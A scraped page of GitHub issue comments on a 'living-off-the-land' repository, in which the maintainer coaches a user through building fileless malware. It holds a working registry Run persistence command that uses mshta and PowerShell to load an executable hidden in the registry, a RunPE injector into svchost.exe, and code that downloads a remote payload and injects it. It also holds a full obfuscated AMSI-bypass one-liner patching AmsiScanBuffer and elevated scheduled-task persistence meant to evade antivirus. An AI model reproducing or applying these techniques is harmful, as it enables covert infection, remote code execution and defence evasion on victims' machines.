Comments (34)
When within the powershell Window itself, you type this (from your first post)
[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey("Software\Microsoft\Internet Explorer").GetValue($Null)).EntryPoint.Invoke(0,$Null)
My previous reply is what you need to type when you're in cmd.exe. The exact string depends. In powershell, you obviously don't have to use powershell "..."
, but you can type the command directly and therefore you don't need to escape quotes, etc.
from living-off-the-land.
That's because the function definition in Injector.exe
is:
public static void Main()
which matches Invoke(0,$Null)
.
I'm guessing your other C# project has an entry point with static void Main(string[] args)
. You need to either remove the args
then, or match the Invoke
by specifying an empty string array.
from living-off-the-land.
The initial startup is a value in HKCU\...\Run\
with following commandline:
mshta "javascript:close(new ActiveXObject('WScript.Shell').run('powershell \"[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(\\\"Software\\\\Microsoft\\\\Internet Explorer\\\").GetValue($Null)).EntryPoint.Invoke(0,$Null)\"',0))"
(mshta is just there to hide the powershell window as described in the readme.
The C# executable is stored directly in HKCU\Software\Microsoft\Internet Explorer\(default)
and is not encoded in any way. This is because there is a harsh limit on the commandline of 260 chars. Because this registry value can't be hidden by the null-trick, if must be somewhat "burried deep" in the registry, hence the Internet Explorer key.
Now, when you look at the injector, you see what it does and why it's called "injector":
public static void Main()
{
string path = Environment.Is64BitOperatingSystem ? @"C:\Windows\SysWOW64\svchost.exe" : @"C:\Windows\System32\svchost.exe";
byte[] payload = Decompress(Decrypt(Resources.Payload));
RunPE.Run(path, payload);
}
It loads a C++ executable from its resources and starts it using RunPE. The created process is shown as "svchost.exe". If you want a C# executable instead of a native C++ exe, then it actually gets easier for you. The step from the injector to the native executable is only required because powershell can only invoke C# code, but not native C++ code.
Just replace the main method of Injector
with your downloading code and your code will then run in the context of powershell.
Basically something like this:
byte[] x= new System.Net.WebClient().DownloadData("url");
Assembly.Load(x).EntryPoint.Invoke(....);
Make sure to get x86 vs x64 right. It might be a bit tricky to figure out what bitness is actually used, so make sure to test it properly.
from living-off-the-land.
Do you have a notebook that is connected through WiFi? This could be a race condition where you don't have an internet connection at the time the payload is executed. You would need to retry this in a loop for a certain period of time.
And since debugging this is next to impossible - what I typically do is implement an exception handler and write the exception into a file like C:\mytest.log
to actually see what is going on. This will probably give you a very good clue.
from living-off-the-land.
At this point, I would also need to start guessing and trial & erroring around.
One thing that you could try is tagging the Main method with the STAThread attribute like [STAThread]public static void Main()
and when creating new threads, setting the appartment state to STA before starting them - maybe also trying MTA. Honestly, I don't know why powershell invoked C# executables have issues with threads. You could try to start up your C# executable normally without LOTL and see wheter it works there. This way you can be sure that it has to do with the LOTL setup.
As a side note: C:\mytest.log
may not be writable - so make sure that logs can be created at all. When using logfiles to track exceptions, make sure to include a log write between every single line of code, starting at the entry point. You'll be surprised where exceptions can occur.
Also check the Windows EventViewer - powershell errors and .NET exceptions are logged there.
Other than that, that's really a thing of debugging & trying out ideas. You'd be stunned at how much time I spent at certain features in my projects, especially my rootkit. Hacking can in some cases be an increadibly time consuming tasks, because "little things" are no longer trivial.
Try what comes to your mind, and let me know if you figured it out :)
from living-off-the-land.
but isn't HKLM supposed to run as admin?
It's specified by Microsoft to start the executable with user privileges.
is there a better way of doing this? without dropping anything to the disk
Not sure what exactly you're working on... But LOTL applications are always a bit tricky to implement. It's tempting to "just drop" something on the disk, but that would defeat the whole purpose of it. In the end, it's tinkering with application logic - a common programmer task. However, LOTL makes it significantly trickier. Process injection is actually implemented using RunPE in the demo. But that applies to native executables, not .NET executables.
You said you copy your executable into the registry and then download another executable to inject into a remote process? That doesn't sound like something where you need to drop anything. Can you precisely describe the execution flow including each step and whether an executable is native or .NET?
from living-off-the-land.
You don't really need the AMSI bypass to get your LOTL setup running. I've implemented it in r77, because I encountered AV issues - But you can just skip it.
The commandline length limitation of MAX_PATH (260) only applies, if you are using the registry value, or if you start schtasks.exe. In r77, I don't start schtasks.exe, but I use the COM API instead.
What I would suggest is to remove the AMSI part, if you create the scheduled task using Process.Start(schtasks.exe).
from living-off-the-land.
This is a tricky thing... This is the code that creates the string. As you can see, the C++ string itselt must be escaped, then the args of mshta.exe - adn within that run('') - and within that the strings of the powershell command.
So the tricky part is to get the multiple layers of string escaping right. It took me an hour or so to come up with this:
LPCWSTR startupCommand = L"mshta \"javascript:close(new ActiveXObject('WScript.Shell').run('powershell \\\"[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(\\\\\\\"Software\\\\\\\\Microsoft\\\\\\\\Internet Explorer\\\\\\\").GetValue($Null)).EntryPoint.Invoke(0,$Null)\\\"',0))\"";
LPCSTR runCommand = "\"[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(\\\"Software\\\\Microsoft\\\\Internet Explorer\\\").GetValue($Null)).EntryPoint.Invoke(0,$Null)\"";
What you can do is go to your scheduled task, copy the command and paste it in cmd.exe to see what actually happens. Process Monitor might be useful to really see what exact commandline is executed. Or try it without mshta at first to get the inner query right, then add mshta.
Have fun fiddeling ;)
from living-off-the-land.
Have a look at r77's CreateScheduledTask function. It's written in C++, though. But basically, using the API's instead of invoking schtasks.exe is a cleaner solution and it allows you to specify an arbitrarily long commandline.
I haven't done any research on how to implement the native API using C#. One thing I've found is this, which you may find useful as a source-code reference.
from living-off-the-land.
If New-ScheduledTaskAction
works, that's good news. Never tested it myself, though.
This repository is just what I've found after a quick google search. You could just look for the shortest C# code example that creates scheduled tasks - and boil it down to an essence. Because obviously you don't want to include an entire library in your executable. It's just easier to look at existing and working code rather than writing the P/Invoke part from scratch yourself. You could then go ahead and strip down the code to exactly what you need in order to create the schedules task.
It's effort, but as a result you have a direct C# implementation for your scheduled task that is not limited by MAX_PATH.
from living-off-the-land.
The correct commandline is:
powershell "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(\"Software\\Microsoft\\Internet Explorer\").GetValue($Null)).EntryPoint.Invoke(0,$Null)"
It's important to get double escape characters right.
from living-off-the-land.
I've been trying for so long it just doesn't seem to work no matter what i do
from living-off-the-land.
i see, true, it's working fine, but trying it with another c# program i get :
Exception calling "Invoke" with "2" argument(s): "Parameter count mismatch."
I'm using the same powershell command to test it out
from living-off-the-land.
you were right, i removed "string[] args" from the main entry and it worked! ^^
Thank you so much for your support!
from living-off-the-land.
hey, so i have a program made in c# that acts as the payload, i have a byte[] x= new System.Net.WebClient().DownloadData() but its not getting executed, it's getting executed fine when i run it through powershell with the command above but when i restart my pc and it gets executed through registry run, then it's stops at that specific command..
from living-off-the-land.
Although I don't know exactly what your code looks like:
If your payload is written in C++ like in the demo, you need: Installer (C++)
-> Injector (C#)
-> Payload (C++)
If your payload is written in C#, it is very comfortably: Installer (C++ or C# if you like)
-> Payload (C#)
.
And you could just run the payload in the powershell context by invoking Main
. The injector part is only passing execution along to a native C++ executable using RunPE. But if you use C# for your payload, you can just skip the RunPE part.
Also note that I've included a simple XOR encryption to demonstrate encryption of the executable resource. I've seen some people struggeling because they didn't encrypt a file that was later decrypted or vice versa. Just take care of that or disable encryption completely.
from living-off-the-land.
is the payload the one that is written in bytes in the registry key?
i created something similar as in your project, a program (in c#) that is converted as bytes and hidden in the registry key,
and the Run registry key. when i use the powershell command to run the program in the registry key, it works fine, but when it runs automatically through registry key on logon then it stops at byte[] x= new System.Net.WebClient().DownloadData("url")
the program that is written in bytes in reg key doesn't have any kind of encryption
from living-off-the-land.
i see, what i have is just a c# program (hidden in HKCU\Software\Microsoft\Internet Explorer(default)) that is not loading the payload through resources but instead it downloads it using byte[] x= new System.Net.WebClient().DownloadData("url") then later on it injects it using runpe (because the payload is native). When ran through powershell it successfully injects it into the process, but letting it run by itself (on logon) is not working, stops at exactly byte[] x= new System.Net.WebClient().DownloadData("url")
The registry Run registry key is the exact same as in your project and it successfully starts the program but just stops at that command
from living-off-the-land.
I'm using a virtual machine to test it out, i'm pretty sure it has internet connection before starting up, but i can add a delay to further test it out
i added an exception handler on that specific command but it just didn't create any file with any error
from living-off-the-land.
ok so i figured it out, i was using new Thread(delegate () { R.Func(); }).Start();
and for some reason it couldn't download the data as bytes, also Thread.Sleep()
broke the program, but how else can i do that? because i need to use threads for what i have to do
from living-off-the-land.
Well i just re-created the code to run without threads and it works completely fine, powershell itself has no problem with threads but for some reason starting powershell through the registry key has problems with threads..
i did try to create a log with an exception if occurred (on my desktop) but just gave me no errors at all, it just didn't proceed to the next line of code..
i will try the other methods you mentioned and i will reply back, thanks so much for your suggestions and for trying to help me!
from living-off-the-land.
hey, i just changed a lot the code to work mostly without threads, cause it gave me no errors but just didn't execute the next code..
what my problem is that i have the startup registry key in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
but it's not actually starting it as admin
it executes the binary that is inside HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer
from living-off-the-land.
One more thought on the threading issue: Does your main thread create & start a new thread and then simply terminate? What happens when you put a while (true) { Thread.Sleep(1000); }
at the end of your main method?
Persisting elevated privileges does not work by using HKLM...\Run, because your code will start with user privileges on reboot. You could use scheduled tasks instead. I've actually implemented this in r77 Rootkit, which is completely fileless. Install.cpp creates a scheduled task that executes powershell.exe
. The implementation looks complex, because it also includes AMSI bypass, etc...
But at the core of it, it's just a scheduled task instead of the registry value. You could conveniently copy the function CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments)
from r77api.cpp
.
from living-off-the-land.
on the thread issue : inside the main entry i have new Thread(delegate () { Func.Exec(); }).Start();
and inside Func.Exec() i have
using (new WebClient())
{
var Data = new WebClient().DownloadData("URL");
}
After that command nothing else is getting executed ( i confirmed that by adding logs ).
The main program creates the thread and terminates, i have added while (true) { Thread.Sleep(1000); }
but can't see any difference, but on the main entry it's executing all the code until the end.
I'll try to add schtasks instead of hklm registry, but isn't HKLM supposed to run as admin?
By the way, what i'm doing is : when the exe is executed, it will copy itself to the registry key (don't know how detected that is) then downloads the data as bytes and injects it into a process. is there a better way of doing this? without dropping anything to the disk
from living-off-the-land.
I see, i always use schtasks for running programs as admin but i just thought that HKLM are supposed to run as admin
Yes, when it's executed it just copies itself to registry then it downloads a native file as bytes in memory then injects it into a process (the main program that hides in registry is in c#)
from living-off-the-land.
Why am i limited trying to use the schtasks command (with the amsi bypass)?
var sb = new StringBuilder("");
sb.Append("function Local:Get-Delegate{");
...
...
Process.Start(new ProcessStartInfo
{
FileName = "cmd",
Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn " + "\"" + "Name" + "\"" + " /tr " + "'" + "powershell.exe" + "'" + "'" + $"\"{sb}\"" + "' & exit",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
It limits me to 244 characters
from living-off-the-land.
Just thought it'd be cool to implement the amsi bypass just in case..
Anyway thanks a lot for helping me out! guess i'll go without amsi bypass
from living-off-the-land.
Do i have to run mshta in schtasks? because powershell pops up for a split second, i tried to add mshta in schtasks but can't seem to get it working
program/script: mshta
Arguments :
javascript:close(new ActiveXObject("WScript.Shell").run("powershell \"[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(\"Software\Microsoft\Internet Explorer\").GetValue($Null)).EntryPoint.Invoke(0,$Null)\"",0))
from living-off-the-land.
i tried for so long but schtasks converts single quotes to double quotes, plus the string is long enough that it limits me...
i don't know what other way would be possible..
from living-off-the-land.
i tried this but it just makes the executable a bit too long, i found New-ScheduledTaskAction
that i can run with powershell, it's not limited by the length plus it accepts single quotes
from living-off-the-land.
any idea why this is not working?
adding just the powershell script (without mshta) works fine, but adding it inside mshta gives me
'Where-Object{$_.GlobalAssemblyCache' is not recognized as an internal or external command
been trying a whole day but can't seem to figure out how to make it work..
tried process monitor but doesn't help a lot
mshta "javascript:close(new ActiveXObject('WScript.Shell').run('powershell \"function Local:PrepRgLPMNbp{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$czoolvloOXrzvF,[Parameter(Position=1)][Type]$jUgdCGAnGt)$BQaIHrWJBOf=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(\\"ReflectedDelegate\\")),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(\\"InMe\\"+\\"mory\\"+\\"Module\\",$False).DefineType(\\"MyDelegateType\\",\\"Class,Public,Sealed,AnsiClass,AutoClass\\",[MulticastDelegate]);$BQaIHrWJBOf.DefineConstructor(\\"RTSpecialName,HideBySig,Public\\",[Reflection.CallingConventions]::Standard,$czoolvloOXrzvF).SetImplementationFlags(\\"Runtime,Managed\\");$BQaIHrWJBOf.DefineMethod(\\"Invoke\\",\\"Public,HideBySig,NewSlot,Virtual\\",$jUgdCGAnGt,$czoolvloOXrzvF).SetImplementationFlags(\\"Runtime,Managed\\");Write-Output $BQaIHrWJBOf.CreateType();}$ImlrLFMfRaFUl=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split(\\"\\\\"\\")[-1].Equals(\\"System.dll\\")}).GetType(\\"Microsoft.Win32.\\"+\\"Uns\\"+\\"afeNat\\"+\\"iveMetho\\"+\\"ds\\");$WQIJkvPPSUNuvC=$ImlrLFMfRaFUl.GetMethod(\\"Ge\\"+\\"tPr\\"+\\"ocAdd\\"+\\"ress\\",[Reflection.BindingFlags]\\"Public,Static\\",$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GxaHXGABHULQaNhPtWW=PrepRgLPMNbp @([String])([IntPtr]);$OLRInzgZpQsyXqcgIRsHnL=PrepRgLPMNbp @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$viOYtubIdBQ=$ImlrLFMfRaFUl.GetMethod(\\"Get\\"+\\"Modu\\"+\\"leHan\\"+\\"dle\\").Invoke($Null,@([Object](\\"kern\\"+\\"el\\"+\\"32.dll\\")));$xHROOMhRHkKpvN=$WQIJkvPPSUNuvC.Invoke($Null,@([Object]$viOYtubIdBQ,[Object](\\"Load\\"+\\"LibraryA\\")));$AXHyXaoJdpJUpgLYH=$WQIJkvPPSUNuvC.Invoke($Null,@([Object]$viOYtubIdBQ,[Object](\\"Vir\\"+\\"tual\\"+\\"Pro\\"+\\"tect\\")));$NRIzJlr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xHROOMhRHkKpvN,$GxaHXGABHULQaNhPtWW).Invoke(\\"a\\"+\\"m\\"+\\"si.dll\\");$UekQGALStkSxtjfAC=$WQIJkvPPSUNuvC.Invoke($Null,@([Object]$NRIzJlr,[Object](\\"Ams\\"+\\"iSc\\"+\\"an\\"+\\"Buffer\\")));$OEBeUxbfJD=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AXHyXaoJdpJUpgLYH,$OLRInzgZpQsyXqcgIRsHnL).Invoke($UekQGALStkSxtjfAC,[uint32]8,4,[ref]$OEBeUxbfJD);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$UekQGALStkSxtjfAC,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AXHyXaoJdpJUpgLYH,$OLRInzgZpQsyXqcgIRsHnL).Invoke($UekQGALStkSxtjfAC,[uint32]8,0x20,[ref]$OEBeUxbfJD);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubkey(\\"Software\\\\Microsoft\\\\Internet Explorer\\").GetValue($Null)).EntryPoint.Invoke(0,$Null)\"',0))"
from living-off-the-land.
Hard to say without extensive testing. This is especially tricky, because you have multiple layers of string escaping just by wrapping the code in mshta "...". Since you are using double quotes, you need to escape all double quotes within mshta "...".
I, too, spent a lot of time figuring out string escaping this mess ;)
You could try iteratively by just putting the first piece of code in place to see whether there is a syntax error. Then try fixing string escaping at the location you pointed out. You can paste the whole line in cmd.exe, which speeds up testing.
from living-off-the-land.
i think javascript:close has a length limit because powershell will no longer show in process monitor after 511 characters
from living-off-the-land.
how is r77 rootkit running the schtasks command without powershell window popping up?
edit: nvm figured it out, just had to run as system
from living-off-the-land.
Related Issues (11)
- Is it possible to explain more how to set our own executable? HOT 1
- Windows defender detection HOT 6
- No longer works in Windows 11? HOT 6
- Example of UI error HOT 2
- Compilation error HOT 22
- Is it possible to make LOTL starting 2 exes? HOT 6
- Living off the Land exe don't start at bootup in Windows VM HOT 10
- Is it possible to use your project to start a dll file? HOT 2
- Can you explain more about the persistence mechanism? HOT 1
- Payload size HOT 3
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from living-off-the-land.